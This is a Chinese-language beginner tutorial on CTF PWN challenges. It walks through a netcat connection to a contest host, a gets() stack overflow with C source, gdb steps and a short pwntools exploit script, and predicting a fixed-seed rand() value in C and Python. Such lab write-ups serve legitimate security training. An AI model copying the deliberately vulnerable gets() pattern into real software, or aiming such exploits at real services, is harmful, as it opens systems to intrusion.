1. PWN入门基础与实战意义
第一次接触CTF比赛时，我被PWN这个神秘领域深深吸引。简单来说，PWN就是通过分析二进制程序的漏洞，编写攻击代码获取系统控制权。这就像在数字世界里当侦探，既要懂逆向分析，又要会编写攻击脚本。
记得我参加的第一场线下赛，面对一个简单的栈溢出题目，折腾了整整三小时才搞定。当时连最基本的gdb调试都不熟练，现在回想起来真是又好气又好笑。但正是这些实战经历，让我深刻理解了PWN的核心价值——它不是纸上谈兵的理论，而是需要动手实践的真功夫。
在真实的CTF比赛中，PWN题目通常会给出一个二进制文件，可能是Linux下的ELF格式，也可能是Windows的EXE。我们的任务就是找到程序中的漏洞，然后利用这个漏洞获取flag。最常见的入门级漏洞包括我们今天要重点讲解的三种：基础连接、栈溢出和伪随机数预测。
2. NC基础连接实战
2.1 最简单的PWN入门
NC题堪称PWN界的"Hello World"。去年指导新人训练时，我总会用[HGAME 2023 week1]test_nc这道题作为开场。题目环境启动后，选手只需要用netcat命令连接指定端口：
nc node5.anna.nssctf.cn 28192连接成功后，就像登录了一台远程Linux主机。这时候用基本的Linux命令就能找到flag：
ls cat flag.txt看似简单，但这个环节常出现两个典型问题：一是新手不熟悉Linux基础命令，二是遇到权限问题时不知道用find命令全局搜索。我建议初学者先熟练掌握20个常用Linux命令，这对后续PWN学习大有裨益。
2.2 背后的技术原理
虽然NC题简单，但它模拟了真实的渗透测试场景——通过某个服务漏洞获得初始访问权限后，在系统中寻找敏感信息。在进阶比赛中，可能需要结合其他漏洞进行提权，但入门阶段重点培养的是"拿到shell后该做什么"的基本意识。
3. 栈溢出原理与利用
3.1 从C语言到汇编理解栈溢出
栈溢出是PWN中最经典的漏洞类型。以[HNCTF 2022 Week1]easyoverflow为例，我们先分析源代码：
#include<stdio.h> int main() { setbuf(stdin,0); setbuf(stdout,0); setbuf(stderr,0); puts("Input something"); char name[30]; int number=0; gets(name); if(number!=0){ puts("You win."); system("cat flag"); } return 0; }这里的关键是gets()函数不检查输入长度，导致可以覆盖相邻的number变量。用gdb调试时，可以清晰地看到栈布局：
gdb ./easyoverflow b main run info frame通过分析汇编代码，我们发现name数组和number变量在栈上是相邻存储的。输入超过30字节的数据就会改变number的值。
3.2 构造payload的技巧
虽然题目中直接输入长字符串也能解题，但规范的解法是使用pwntools构造精确的payload：
from pwn import * p = remote('node5.anna.nssctf.cn', 28193) payload = b'A'*30 + p32(1) p.sendline(payload) print(p.recvall())这里p32(1)将数字1打包成4字节的小端序格式。在实际比赛中，可能还需要考虑栈对齐、canary保护等更复杂的情况。
4. 伪随机数预测实战
4.1 随机数的本质
计算机中的随机数都是伪随机数，只要种子相同，生成的序列就完全一致。[SWPUCTF 2022 新生赛]Darling这道题完美演示了这一点：
srand(0x1317E53u); v5 = rand() % 100 - 64;我们只需要用相同的种子本地运行rand()，就能预测目标程序中的随机值：
#include <stdio.h> #include <stdlib.h> int main() { srand(0x1317E53u); printf("%d", rand() % 100 - 64); }编译运行这个程序，得到的结果就是需要输入的数字。
4.2 进阶利用技巧
更复杂的题目可能会结合时间戳作为种子，或者进行多次随机运算。这时候就需要用Python的ctypes模块来模拟C语言的rand()实现：
from ctypes import CDLL libc = CDLL("libc.so.6") libc.srand(0x1317E53) print(libc.rand() % 100 - 64)在去年的某场比赛中，我就遇到需要预测10次随机数序列的题目，通过编写相同的算法模拟器成功解题。
5. 工具链与学习建议
5.1 必备工具清单
工欲善其事，必先利其器。经过多次比赛积累，我总结出PWN入门必备工具：
- 反汇编工具：IDA Pro（推荐）或Ghidra
- 调试工具：gdb配合pwndbg插件
- 开发环境：Python3 + pwntools
- 辅助工具：ROPgadget、one_gadget
特别提醒初学者一定要熟悉gdb的基本命令，比如disassemble查看汇编、x/20wx $esp查看栈内存、ni和si单步执行等。
5.2 系统学习路径建议
根据我带新人的经验，建议按以下顺序学习：
- 先掌握Linux基础命令和C语言指针
- 学习x86汇编基础，理解函数调用约定
- 用简单的栈溢出题目练习
- 逐步学习堆利用、格式化字符串等进阶技术
每周保持至少10小时的动手实践时间，从简单题目开始，记录每道题的解题思路和遇到的坑。坚持三个月，你就能明显感受到自己的进步。
